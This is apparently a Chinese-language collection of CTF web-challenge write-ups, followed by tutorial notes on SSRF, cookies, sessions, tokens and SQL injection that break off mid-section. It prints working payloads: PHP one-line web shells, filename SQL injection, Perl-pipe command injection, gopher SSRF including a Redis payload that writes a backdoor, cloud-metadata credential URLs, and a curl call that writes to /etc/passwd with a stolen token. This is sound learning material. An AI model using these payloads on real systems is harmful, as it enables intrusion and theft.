攻防世界
1.wife_wife
payload
1 |
|
造成这个漏洞的有一个很重要的前提,这题目的后端是node.js来写的,也就是说后端不是php服务器,不是java服务器,而是JavaScript服务器
因为是JavaScript语言来处理后端+用JavaScript的那个函数来处理,所以才有这个漏洞产生
1 | let baseuser = {a:1}; |
正常情况下
1 | baseUser = { |
但是,后端服务器是JavaScript,我们通过post发送过去的 json是字符串,JavaScript需要通过JSON.parse()函数才能把 json字符串转成对象
1 | baseUser = { |
也就是说要想篡改或新加一个属性,直接
1 | "__proto__":{ |
2.ez_curl
点运算符:追加操作符
1 | $a.=$b |
等价于
1 | $a=$a.$b |
1 | <?php |
php:input 只读流,允许读取请求体中的原始数组json数据。
1 | <?php |

PHP 的**
stripos()方法**只匹配 当前字符串,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了nodejs中 express的parameterLimit默认为1000,也就是说,只要我们在params后面追加999个参数,后面追加的**&admin=false**就会被舍弃
substr语法
1 | <?php |
http_build_query()语法
1 | <?php |
1 | const express = require('express'); |
1 | import requests |
3.ezbypass-cat
非预期
1 | GET /login.html/../flag.html HTTP/1.1 |
信息搜集看看http history
可以看到站点下有一个syslogin.js,该文件透漏这是华夏erp搭建的网站,因此可以在网上搜索华夏erp漏洞,华夏erp中有接口user/getAllList,通过白名单的目录穿越,访问该接口得到用户名和密码
upload
文件上传成功但是不知道文件路径
除了文件上传外,是否还有其它的思路呢?我们注意到我们输入的文件名进行了回显,这里就可能存在sql注入
有回显有变化的内容都有可能产生漏洞
虽然说这道题名字取的是文件上传,但是实际上是文件名sql注入。
1 | a'+(selselectect database())+'.jpg |
查表发现回显是0,说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制
1 | a'+(selselectect conv(hex(database()),16,10))+'.jpg |
回显
1 | 1.8446744073709552e19 |
发现变成科学计数法了,因此我们每次只能取一部分字符,这里验证了一下,每次最多只能取12个字符,如果取13个,取出来的值就会变成科学计数法表示。
1 | a' +(selecselectt conv(substr(hex(database()), 1, 12), 16, 10))+ '.jpg |
1 | # decode_decimal_to_string.py |
注意分别填入,不要合并
开始爆表
1 | a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg |
列名
1 | a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg |
字段名
1 | a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg |
[强网杯 2019]Upload
抓包发现cookie不对劲
解码是php反序列化
1 | a:5:{s:2:"ID";i:3;s:8:"username";s:3:"111";s:5:"email";s:17:"1119253058@qq.com";s:8:"password";s:32:"698d51a19d8a121ce581499d7b701668";s:3:"img";s:79:"../upload/331f5a2fec4659f9c8cd3a470a780b69/fce0aa1abe55900fcdb10a8b1c133036.png";}7 |
尝试直接改序列化进行目录穿越
1 | a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";} |
回显
页面错误!请稍后再试~
ThinkPHP V5.1.35 LTS { 十年磨一剑-为API开发设计的高性能框架 }
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露
因为存在.idea文件,所以使用PhpStrom打开源码文件,可以直接查看到断点hint
然后代码审计
1 | web/controller/Profile.php |
1 | public function upload_img(){ |
看到反序列化和合并关键词
上传cookie修改文件名称
4.Upload-Labs-Linux
1 | <?php @eval($_POST[123])?> |
5.BUU UPLOAD COURSE 1
回显:因存在错误而无法显示
蚁剑连接不成功
这是mumatest5的内容
1 | <?php @assert($_REQUEST['pass']); ?> |
这是mumatest1的内容
1 | ?GIF89a<script language="php">@eval($_POST['shell']);</script> |
上传这个显示:因存在错误而无法显示
这是mumatest2的内容
1 | <?php @assert($_REQUEST['pass']); ?> |
看了答案才知道不能直接根目录读取,而是要在index文件传参file读取
读取出图片不算传马成功,要读出空白页面或者乱码
最后成功的是
1 | <?php @eval($_POST[123])?> |
6.[RoarCTF 2019]Simple Upload
1 | <?php |
查看源码,发现是think PHP的文件上传,这里需要自己构造一个上传文件的代码,默认上传路径是/home/index/upload
1 | import requests |
如果要限制文件只能上传一个可以使用uploadOne()函数
知识点:
tp默认上传目录:index.php/home/index/upload
tp支持多个文件上传
tp的文件上传用法这里不对,限定后缀应为$upload->exts,所以文件名过滤无效
tp上传默认命名方式受时间戳控制,所以时间间隔很短的上传文件名会大致一样
可见,我只要上传图片1,shell,图片2,然后就能爆破出shell文件的文件名。
回显
1 | {"url":"\/Public\/Uploads\/2026-01-28\/6979eb7dbc4dc.txt","success":1} |
开始爆破
1 | import requests |
没跑出来哈哈
换一种解法
7.SSRF Me
填写URL:http://127.0.0.1:80/和数字验证码 82043,得到同样的页面显示两次,说明是SSRF
可以使用 file 协议读取系统文件/etc/passwd,这个地方验证码(纯数字)需要重新计算
1 | import hashlib |
读取 flag 触发黑名单
对 flag 二次URL编码,得到 %25%36%36%25%36%63%25%36%31%25%36%37
使用 Burp 请求,拿到 flag
8.[HITCON 2017]SSRFme
1 | 192.168.122.15 <?php |
首先创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip,
即orangex.x.x.x
主要的知识点:perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
dirname 并不是手动定义的变量,而是 PHP 内置函数 pathinfo() 返回的一个数组键名(key)。
1 | $_GET["filename"]` 假设是:`"uploads/evil.php" |
1 | [ |
所以我们需要先创建一个与我们需要执行命令相同的文件,然后使用管道截获该流程,使之为命令的执行。ps:这里要创建一模一样的文件
分析完后首先想到的就是,在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。
1 | python3 -m http.server |
虚拟机网址192.168.1.12
1 | ?url=192.168.1.12:8000/muma.php&filename=muma.php |
接下来需要去沙盒路径下访问刚刚写入的文件 muma.php
1 | 路径的构造规则 sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]) |
1 | import hashlib |
访问 sandbox/d23635209b921a91099a3d5b85be6af2/muma.php
理论上是这样的,但是我写不进去
504 Gateway Time-out
openresty
并非写不进去,我还没创建muma.php
1 | echo '<?php @eval($_POST["123"]); ?>' > muma.php |
试了一下依旧写不进去哈哈·真服了
方法2
利用GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令
1 | ┌──(yulian㉿kali)-[~] |
1 | ?url=file:ls /|&filename=ls /| |
然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用
综上所述,bash -c 是最好的选择
1 | import requests |
|:管道符号,表示将一个命令的输出传递给另一个命令。通过这种方式,攻击者可以执行额外的命令,而不是仅仅作为文件路径传递给服务器。
9.[De1CTF 2019]SSRF Me
1 | #! /usr/bin/env python |
param中不能有’gopher’和’file’,然后最后return json.dumps(task.Exec())
而task.Exec()最后return result,所以我们判断,最后应该要将return的值等于flag,即return flag
看一下Exec()的构成
1 | def Exec(self):# 定义的命令执行函数。 |
溯源checkSign()
1 | def checkSign(self): |
即让(secert_key + param + action)的md5值等于sign
但secert_key的值不知道,所以要用到第一个路由(/geneSign ):
1 | @app.route("/geneSign", methods=['GET', 'POST'])#此路由用于测试 |
action的值已经给定,我们只能控制param的值。然后得到secert_key + param + action的md5值。
所以我们只要让/De1ta中的secert_key + param + action的值等于/geneSign 中的secert_key + param + 'scan’就可以使secert_key + param + action == sign
第一个if要求传入的action中含有scan,然后调用scan函数从文件中查找param这个文件,将文件名给resp,然后通过tmpfile函数写入result.txt中,且令它连通。即(code=200);第二个if要求传入的action中含有read,然后从result.txt中查找连通的文件作为f,并让result[‘data’]=f.read得到它的内容。最后return result输出内容。
所以此处的action必须为含read和scan。
但/geneSign路由中规定的action必须为scan。但可以控制param
但/De1ta路由中两个值都可以控制。
且两者最后的secert_key + param + action相等。我们已知flag在flag.txt中,而且最终要通过/De1ta中的param来得到,所以/De1ta中的param=flag.txt
所以
/geneSign路由中,我们令param=flag.txtread,此时action=scan
/De1ta路由中,我们令param=flag.txt,action=readscan
这样,最后secert_key + param + action的值是相同的。/De1ta中的param=flag.txt
1.用/geneSign路由get传入param=flag.txtread得到一个值,让它等于sign
因为action是scan,而在getSign里几个字符是.号会连接起来,所以就变成了key.flag.txtreadscan,这样sign就出现了我们想要的md5值
1 | 48e9ce2870c06a30a206216f517b366a |
2.用/De1ta路由get传入param=flag.txt,cookie传入action=readscan,sign=48e9ce2870c06a30a206216f517b366a
1 | Cookie: action=readscan;sign=48e9ce2870c06a30a206216f517b366a |
flask是先声明Task类,绑定路由,声明函数。在这里是访问/De1ta,然后传入参数,之后服务端把我们传入的参数经过waf()函数处理后,构造一个Task的对象。
总结
1
2
3
4
5
6
7
8
9
10 geneSign。输入param可以得到。此时一个参数可控
md5(密钥+param+action)
checksign。输入param/action/sign。注意。此时三个参数都可控
md5(密钥+param+action)==sign
Task.Exec。action中得包含scan和read。不然你scan读取了flag。怎么看。要么算md5(ip)沙箱名称。。我没成功
从签名的两步中。密钥是不变的。而action定死为scan了
可变的只有中间的param
那么md5(密钥+flag.txtread+scan)是否等于md5(密钥+flag.txt+readscan)呢
答案是肯定的。python直接将他们连接了起来。没有任何操作
10.[第二章 web进阶]SSRF Training
1 |
|
1 | <?php |
1 | Array |
如果传入的 URL 无法被正确解析,parse_url 返回 false。
gethostbyname($hostname) 是 PHP 的一个内置函数,用于将主机名(例如域名)解析为相应的 IP 地址。
1 | <?php |
1 | 93.184.216.34 |
如果给定的主机名无法解析(例如不存在的域名),gethostbyname 会返回传入的主机名
ip2long($ip)
1 | <?php |
1 | ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || |
>> (右移运算符):这会将整数按位右移指定的位数。右移操作通常用来提取 IP 地址中的某些部分
eg:检查 int_ip 是否以 127 开头,即检查 int_ip 是否在 127.0.0.0/8 范围内。
整理一下代码逻辑就是 先检测是否为内网ip,通过parse_url,最后通过curl来完成请求。那么绕过方法就是让parse_url来处理外部ip,curl来处理内网ip。
1 | url=http://hello@127.0.0.1:80 @www.baidu.com/flag.php |
1 | 1. curl_close — 关闭一个cURL会话 |
题中要用到
1 | curl_init — 初始化一个cURL会话 |
94f133f3d7e4db5f400d668a38d8b36ff9dc4572
/home/git/gogs-repositories/111/111111.git/config
curl -X PUT
“http://3000-d6e4a9d1-27c4-4825-b63c-566e4df30ec8.challenge.ctfplus.cn/api/v1/repos/111/111111/contents/git_link”
-H “Authorization: token 94f133f3d7e4db5f400d668a38d8b36ff9dc4572”
-H “Content-Type: application/json”
-d ‘{
“message”: “rce-debug”,
“content”: “ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==”,
“branch”: “master”
}’
11.catcat-new
dirsearch爆破目录,得到http://61.147.171.105:55027/admin,没有有用信息
点开主页的图片,观察URL,尝试读取/etc/passwd,成功,可以读取文件
1 | http://61.147.171.103:64671/info?file=../../../../../etc/passwd |
读取/proc/self/cmdline文件,发现有app.py
1 | http://61.147.171.103:64671/info?file=../../../../../proc/self/cmdline |
/proc/self/cmdline 是一个特殊的文件,它提供了当前进程的命令行参数。例如在kali的shell中读取该文件,则会返回 “zsh"
在上一级路径中读取到app.py
1 | http://61.147.171.103:64671/info?file=../app.py |
1 | import os |
通过源码可以看到,我们需要伪造session,让session里admin的值为1,即可访问/admin,拿到flag。要伪造session,我们需要拿到SECRET_KEY,而SECRET_KEY可以从内存数据中获取。
/proc/self/mem中存储着当前进程在内存中的数据,但是该文件无法直接读取,我们需要先通过/proc/self/maps文件得到内存映射地址,然后读取内存数据文件/proc/self/mem。
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
一般是文件无法读取
读到的maps中的数据保存到test.txt文件中,接下来使用脚本进行mem数据的读取。
以下脚本是网上找到的,我只是添加了一些注释
1 | import re |
在app.py中可以看到info路由中除了file参数,还有start和end参数,这两个参数就是用来传递读取mem数据时内存区域对应的地址。
运行脚本得到secret_key:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh
eyJhZG1pbiI6MH0.aXyNyw.wVxQjuQh92PqkcWsRpEIOafxBPA
伪造session,根据app.py将数据中admin的值改为1
12.fileclude
1 | WRONG WAY! <?php |
要配合include(&file)包含用php://filter编码读取flag.php的数据了。同时要满足file_get_contents($file2) === "hello ctf"这一条件。
关于file1
?file1=php://filter/read=convert.base64-encode/resource=flag.php
关于file2
file_get_contents是将文件中数据提取为字符串的函数,它与inclue()一样参数为文件名,所以直接file2=hello%20ctf行不通,要用data://协议构造数据流,使它当作php文件。
?file2=data://text,plain,hello ctf
1 | http://61.147.171.105:55273/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf |
13.very_easy_sql
签到题这么难啊
Gopher协议,SSRF漏洞和SQL时间盲注
不管输入什么,都显示一样的,页面上留有线索 url.php 和 you are not an inner user, so we can not let you have identify~
暗示ssrf
提示有url.php,发现可以访问
使用 Gopher 协议 发送 POST 请求,尝试使用 admin/admin 登录,并且 Host 是127.0.0.1 ,端口还必须是 80 。这个地方有点坑,换成其他的就没有302重定向,有点奇怪,但是这并不是解题的关键,你怎么也想不到,这题是Cookie 时间盲注吧,经过URL解码,再经过Base64解码得到:this_is_your_cookie=admin
1 | import urllib.parse |
不是很神奇啊我在页面框框里面填就返回400,get发送请求就可以出来cookie
HTTP/1.1 302 Found Date: Fri, 30 Jan 2026 11:24:22 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=asfrtvan529s5eoife3v3vocj7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: this_is_your_cookie=YWRtaW4%3D; expires=Fri, 30-Jan-2026 12:24:22 GMT; Max-Age=3600 Location: index.php Content-Length: 554 Content-Type: text/html; charset=UTF-8
HTTP/1.1 400 Bad Request Date: Fri, 30 Jan 2026 11:24:22 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1
1 | gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A%2523%2520 |
1 | 显示cookie的 |
400应该是被浏览器二次编码了
补充知识点
一、SSRF知识点:
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造恶意请求,诱导服务器代为发起请求的安全漏洞。其核心危害在于:攻击者可借助服务器的 “信任身份”,访问服务器自身、内网服务或其他受信任资源,突破网络隔离(如防火墙限制),窃取敏感信息或实施进一步攻击。
一、SSRF 的本质与原理
本质:服务器对用户输入的 “URL / 资源地址” 未做严格校验,直接用于发起网络请求(如通过
curl、file_get_contents等函数),导致攻击者可控制服务器的请求目标和内容。原理:
正常情况下,服务器应仅允许请求公开合法的外部资源;但存在 SSRF 时,攻击者可构造特殊 URL,让服务器 “主动” 访问以下资源:
- 服务器本地文件(如
/etc/passwd、/var/www/html/config.php);- 内网未暴露的服务(如 192.168.1.1 的 MySQL、Redis、路由器管理界面);
- 其他受服务器信任的外部服务(如云服务器的元数据服务)。
二、SSRF 的核心危害
- 读取本地敏感文件:通过
file协议读取服务器配置文件(如数据库账号密码)、系统文件(如/etc/passwd、/proc/self/environ)。- 探测内网服务与端口:扫描内网存活主机、开放端口(如
http://192.168.0.1:8080),获取内网拓扑或未公开服务信息。- 攻击内网应用:利用内网服务漏洞(如 Redis 未授权访问、MySQL 弱口令),通过 SSRF 发送恶意请求(如 Redis 写后门)。
- 突破网络隔离:访问防火墙 / ACL 限制的资源(如仅允许服务器访问的内网 API、云服务元数据接口
http://169.254.169.254)。三、SSRF 漏洞的利用方法(实战角度)
SSRF 的利用需结合服务器支持的协议、内部网络环境及目标服务特性,核心方法可分为以下几类:
1. 利用不同协议访问本地 / 内网资源
服务器处理 URL 时可能支持多种协议,攻击者可通过协议类型控制请求目标:
协议 作用 实战案例 file://读取本地文件(支持绝对路径) file:///etc/passwd(Linux 系统用户列表);file:///C:/Windows/system32/drivers/etc/hosts(Windows 主机文件)http://访问 HTTP 服务(本地 / 内网) http://127.0.0.1:8080(探测本地 8080 端口服务);http://192.168.1.1/admin(访问内网管理页面)https://访问 HTTPS 服务 https://10.0.0.1:443(探测内网 HTTPS 服务)ftp://访问 FTP 服务 ftp://127.0.0.1(连接本地 FTP 服务,获取文件列表)gopher://发送原始 TCP 数据(高级利用) 构造 gopher://127.0.0.1:3306/_%23...(向 MySQL 发送恶意 SQL 命令)dict://访问字典服务(探测端口 / 信息) dict://127.0.0.1:6379/info(获取 Redis 服务信息)2. 探测内网服务与端口扫描
服务器作为 “跳板”,可扫描内网存活主机和开放端口,获取攻击目标:
原理:通过发送
http://[内网IP]:[端口],根据服务器返回的 “超时”“连接拒绝”“200 OK” 等状态,判断端口是否开放。实战案例:
若内网存在
192.168.1.0/24网段,可构造
1 url=http://192.168.1.1:80
1 url=http://192.168.1.2:3306等等,通过响应时间或内容判断:
- 若返回 “200 OK”:端口开放且有服务响应(如 Web 服务);
- 若返回 “Connection refused”:端口关闭;
- 若超时:可能被防火墙拦截或主机未存活。
3. 攻击内网应用组件(结合其他漏洞)
SSRF 可配合内网服务漏洞(如未授权访问、命令执行)发起攻击,典型场景:
- 攻击 Redis(6379 端口):
若内网 Redis 未授权访问,可通过gopher协议发送 Redis 命令,写入后门文件到 Web 目录(如/var/www/html):
构造gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0a%3c%3fphp%20eval%28%24_%5b%27cmd%27%5d%29%3b%3f%3e%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a,服务器执行后会在/var/www/html生成shell.php后门。- 攻击 MySQL(3306 端口):
若已知 MySQL 账号密码,通过gopher协议发送登录及 SQL 命令,读取数据库敏感信息(如 flag)。- 攻击内网 Web 应用:
若内网存在弱口令后台(如http://192.168.1.100/admin),可通过 SSRF 发送登录请求(POST 数据),尝试爆破或利用其漏洞(如文件上传)。4. 访问云服务元数据(云环境特有)
在 AWS、阿里云、腾讯云等环境中,服务器可通过 “元数据服务” 获取自身配置(如密钥、实例信息),SSRF 可窃取这些敏感数据:
- AWS 元数据地址:
http://169.254.169.254/latest/meta-data/(可获取 IAM 密钥、实例 ID 等);- 阿里云元数据地址:
http://100.100.100.200/latest/meta-data/;- 实战案例:构造
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/,获取 IAM 角色后进一步控制云资源。5. 绕过 SSRF 过滤的常见技巧
服务器可能对
url参数做过滤(如禁止127.0.0.1、localhost或file://协议),需通过以下方式绕过:
IP 地址转换
:
- 十进制 / 八进制 IP:
127.0.0.1→2130706433(十进制)、017700000001(八进制);- 域名绑定:注册
localhost.attacker.com(解析到 127.0.0.1);- 特殊域名:
localhost的变种(如localhost、127.0.0.1.,部分过滤规则可能漏判)。协议混淆
:
- 用
file:////etc/passwd(多斜杠)绕过对file:///的检测;- 协议大小写:
File:///etc/passwd、HTTP://127.0.0.1(绕过小写过滤);- 嵌套 URL:
http://127.0.0.1@example.com(部分解析器会优先访问127.0.0.1)。利用跳转绕过:
若服务器允许 302 跳转,可构造外部可控的跳转链接(如http://attacker.com/redirect?url=http://127.0.0.1),服务器先访问attacker.com,再跳转至目标地址,绕过对直接输入内网 IP 的限制。协议替代:
若file://被禁,尝试php://filter(需服务器支持),如php://filter/convert.base64-encode/resource=/etc/passwd(Base64 编码读取文件)。四、SSRF 的常见触发场景
识别 SSRF 需关注 “服务器代用户发起请求” 的功能,典型场景:
- URL 分享 / 预览功能(如 “输入 URL 生成预览图”);
- 远程资源加载(如 “导入远程图片 / 文件”);
- 在线工具(如 “在线 curl”“在线 ping”);
- 云存储同步(如 “同步远程服务器文件”)。
常见触发函数(以 PHP 为例):
file_get_contents()、curl_exec()、fopen()、readfile()等。总结
SSRF 的核心利用逻辑是:控制服务器请求目标→借助服务器信任身份→访问敏感资源或攻击内网。实战中需结合目标环境(本地 / 内网 / 云服务)、支持的协议及过滤规则,灵活选择利用方式(文件读取、端口扫描、组件攻击等),其危害程度随服务器权限和内网环境敏感度大幅提升,是 CTF 和实战渗透中的高频高危漏洞。
二、cookie、referer、token、session知识点
在 Web 安全领域,cookie、referer、token、session 是四个核心的身份认证与请求验证机制,它们既保障了 Web 服务的正常交互,也成为攻防对抗的关键节点。以下从定义、作用、攻防利用三个维度详细解析:
一、Cookie(HTTP Cookie)
定义
Cookie 是服务器发送给客户端(浏览器)的小型文本数据(通常≤4KB),由客户端存储,每次请求同一域名时自动携带。其本质是 “客户端存储的键值对”,格式如:
name=value; Expires=...; Path=/。作用
- 保持会话状态:用户登录后,服务器生成包含用户身份的 cookie(如
user_id=123),客户端后续请求携带该 cookie,服务器无需重复验证登录。- 存储用户偏好:如网站主题(
theme=dark)、语言设置(lang=zh-CN)等非敏感信息。- 跟踪用户行为:电商网站用 cookie 记录购物车内容、浏览历史等。
攻防利用
攻击角度
- 会话劫持(Session Hijacking)
- 原理:通过 XSS 漏洞窃取 cookie(如
document.cookie),使用窃取的 cookie 伪装成合法用户访问网站。- 示例:在存在 XSS 的页面注入脚本
alert(document.cookie),获取包含登录状态的 cookie(如PHPSESSID=abc123),用该 cookie 发送请求即可登录用户账号。- cookie 篡改
- 原理:若服务器未对 cookie 进行签名或加密,攻击者可直接修改 cookie 值绕过权限。
- 示例:若 cookie 为
role=user,篡改为role=admin后,若服务器未验证,可能直接获得管理员权限。- CSRF 攻击辅助
- 原理:CSRF 攻击中,攻击者诱导用户在已登录状态下发送请求,浏览器会自动携带目标网站的 cookie,使恶意请求被服务器误认为合法。
防御角度
- 敏感 cookie 添加
HttpOnly属性:禁止 JavaScript 读取(防御 XSS 窃取),如Set-Cookie: sessionid=abc; HttpOnly。- 添加
Secure属性:仅在 HTTPS 请求中携带(防止明文传输泄露)。- 对 cookie 进行签名 / 加密:如用 HMAC 算法签名,服务器验证签名有效性(防止篡改)。
二、Referer(HTTP Referer)
定义
Referer 是 HTTP 请求头的一个字段,记录当前请求的来源页面 URL。例如:从
https://a.com/page1点击链接到https://b.com/page2,则b.com收到的请求头中Referer: https://a.com/page1。作用
- 防盗链:图片、视频等资源服务器通过检查 Referer,仅允许特定域名(如自家网站)请求资源,防止其他网站盗用。
- 限制访问来源:部分网站的敏感操作(如表单提交、后台登录)会验证 Referer 是否为可信域名,防止跨站请求。
- 统计分析:记录用户从哪个页面跳转而来,用于流量分析(如百度统计)。
攻防利用
攻击角度
- 伪造 Referer 绕过限制
- 原理:若服务器仅通过 Referer 验证请求合法性,攻击者可伪造 Referer 头绕过检查。
- 示例:某网站后台仅允许
https://example.com/admin页面提交表单,攻击者可在恶意请求中伪造Referer: https://example.com/admin,绕过来源限制。- 利用 Referer 泄露敏感信息
- 原理:Referer 可能包含 URL 中的敏感参数(如 SessionID、验证码),若跳转至第三方网站,可能泄露信息。
- 示例:
https://bank.com/transfer?user=123&token=abc跳转至https://evil.com,evil.com可通过 Referer 获取token=abc。防御角度
- 不依赖 Referer 作为唯一验证手段(Referer 可被轻易伪造,且部分浏览器可能不发送 Referer)。
- 结合其他验证机制(如 token),或仅将 Referer 作为辅助判断。
三、Token(令牌)
定义
Token 是服务器生成的字符串凭证,用于验证请求的合法性。常见类型:CSRF Token、API Token、JWT(JSON Web Token)等,格式通常为随机字符串(如
csrf_token=abc123)。作用
- 防止 CSRF 攻击:服务器为每个表单生成唯一 CSRF Token,提交时需携带该 Token,攻击者无法获取合法 Token,故无法构造有效请求。
- API 身份验证:第三方应用调用 API 时,需携带服务器分配的 API Token,验证调用者权限。
- 无状态会话:JWT 等 Token 包含用户信息(加密),服务器无需存储会话数据,直接解析 Token 即可验证身份(适用于分布式系统)。
攻防利用
攻击角度
- 窃取 Token
- 原理:通过 XSS 漏洞获取页面中的 Token(如表单隐藏域的
csrf_token),用于构造合法请求。- 示例:在存在 XSS 的页面注入
document.querySelector('input[name="csrf_token"]').value,获取 CSRF Token 后发起 CSRF 攻击。- 猜测 / 爆破 Token
- 原理:若 Token 生成机制不安全(如基于时间戳 + 简单哈希),攻击者可猜测或暴力破解。
- 示例:Token 为
md5(timestamp),攻击者通过爆破时间戳生成可能的 Token。- 重放攻击
- 原理:若 Token 未设置过期时间,攻击者可重复使用截获的 Token 发起请求。
- 示例:截获 API 请求中的
Authorization: Bearer,重复发送该请求调用 API。防御角度
- Token 需足够随机(如使用
random_bytes()生成),避免可预测性。- 设置短期过期时间(如 CSRF Token 单次有效,JWT 过期时间设为 15 分钟)。
- 敏感 Token 存储在服务器(如 CSRF Token 与 Session 绑定),避免客户端篡改。
四、Session(会话)
定义
Session 是服务器为每个用户创建的内存 / 文件 / 数据库中的数据结构,用于存储用户会话信息(如登录状态、权限)。服务器通过Session ID(通常存储在 cookie 中)与客户端关联,格式如:
PHPSESSID=abc123(Session ID)→ 服务器中abc123对应的 Session 数据(user_id=123; role=admin)。作用
- 服务器端会话管理:相比 cookie,Session 将敏感信息(如用户权限、购物车详情)存储在服务器,仅通过 Session ID 与客户端交互,更安全。
- 临时状态存储:用户登录后,服务器在 Session 中标记
is_login=true,后续请求通过 Session ID 验证状态,无需重复登录。攻防利用
攻击角度
- 会话劫持(Session Hijacking)
- 原理:窃取用户的 Session ID(如通过 XSS 获取 cookie 中的
PHPSESSID),使用该 ID 发送请求,服务器会误认为是合法用户。- 示例:获取用户的
PHPSESSID=abc123后,在浏览器中手动设置该 cookie,即可登录用户账号。- 会话固定(Session Fixation)
- 原理:攻击者先获取一个合法的 Session ID(如访问网站获取未登录状态的 Session ID),诱导用户使用该 Session ID 登录,登录后攻击者使用同一 ID 即可劫持会话。
- 示例:攻击者向用户发送链接
https://example.com/login?PHPSESSID=evil123,用户用该链接登录后,攻击者用evil123即可访问用户会话。- Session 超时攻击
- 原理:若 Session 超时时间过长(如 24 小时),攻击者有更多时间利用窃取的 Session ID。
防御角度
- 登录成功后重新生成 Session ID(防御会话固定)。
- 设置合理的 Session 超时时间(如 30 分钟无操作自动失效)。
- Session ID 需足够随机(避免被猜测),并通过
HttpOnly和Secure属性保护(防止 XSS 窃取和明文传输)。总结:四者的核心区别与联系
机制 存储位置 核心作用 安全焦点 Cookie 客户端(浏览器) 存储轻量数据,维持会话 防止窃取、篡改 Referer 请求头 标识请求来源 防止伪造来源 Token 客户端 / 请求头 验证请求合法性 防止泄露、重放 Session 服务器端 管理用户会话状态 保护 Session ID 安全 在攻防中,这四个机制常被组合利用(如 Session ID 存于 Cookie,配合 Token 防止 CSRF),理解其原理和弱点是 Web 安全的基础技能。防御的核心原则是:敏感数据不暴露在客户端,关键验证不依赖单一机制,确保随机性和时效性。
三、sql注入知识点
SQL 注入深度解析
一、SQL 注入的本质与原理
定义:SQL 注入(SQL Injection)是攻击者通过构造恶意 SQL 语句,利用应用程序对用户输入验证不足的漏洞,使恶意代码被数据库执行的攻击方式。其核心是用户输入未经过滤直接拼接至 SQL 查询语句,导致原始查询逻辑被篡改。
原理(技术底层)
Web 应用与数据库交互时,若使用动态 SQL 拼接(而非参数化查询),则存在注入风险。例如:
1
2
3 // 危险代码:直接拼接用户输入
$uname = $_POST['uname'];
$sql = "SELECT * FROM users WHERE username='$uname'"; // 用户输入可控$uname当攻击者输入
' OR '1'='1时,SQL 语句变为:
1 SELECT * FROM users WHERE username='' OR '1'='1' // 条件恒为真,返回所有用户数据二、SQL 注入的核心类型(按利用场景与技术特征分类)
1. 按注入点数据类型分类
- 数字型注入:注入点参数为数字(如
id=1),无需闭合引号。
示例:id=1 OR 1=1--+→ 拼接后SELECT * FROM news WHERE id=1 OR 1=1--+(--+注释后续语句)。- 字符型注入:注入点参数为字符串(如
username='admin'),需用单引号 / 双引号闭合。
示例:username=admin' OR '1'='1--+→ 拼接后SELECT * FROM users WHERE username='admin' OR '1'='1--+'。2. 按注入方式与回显特征分类
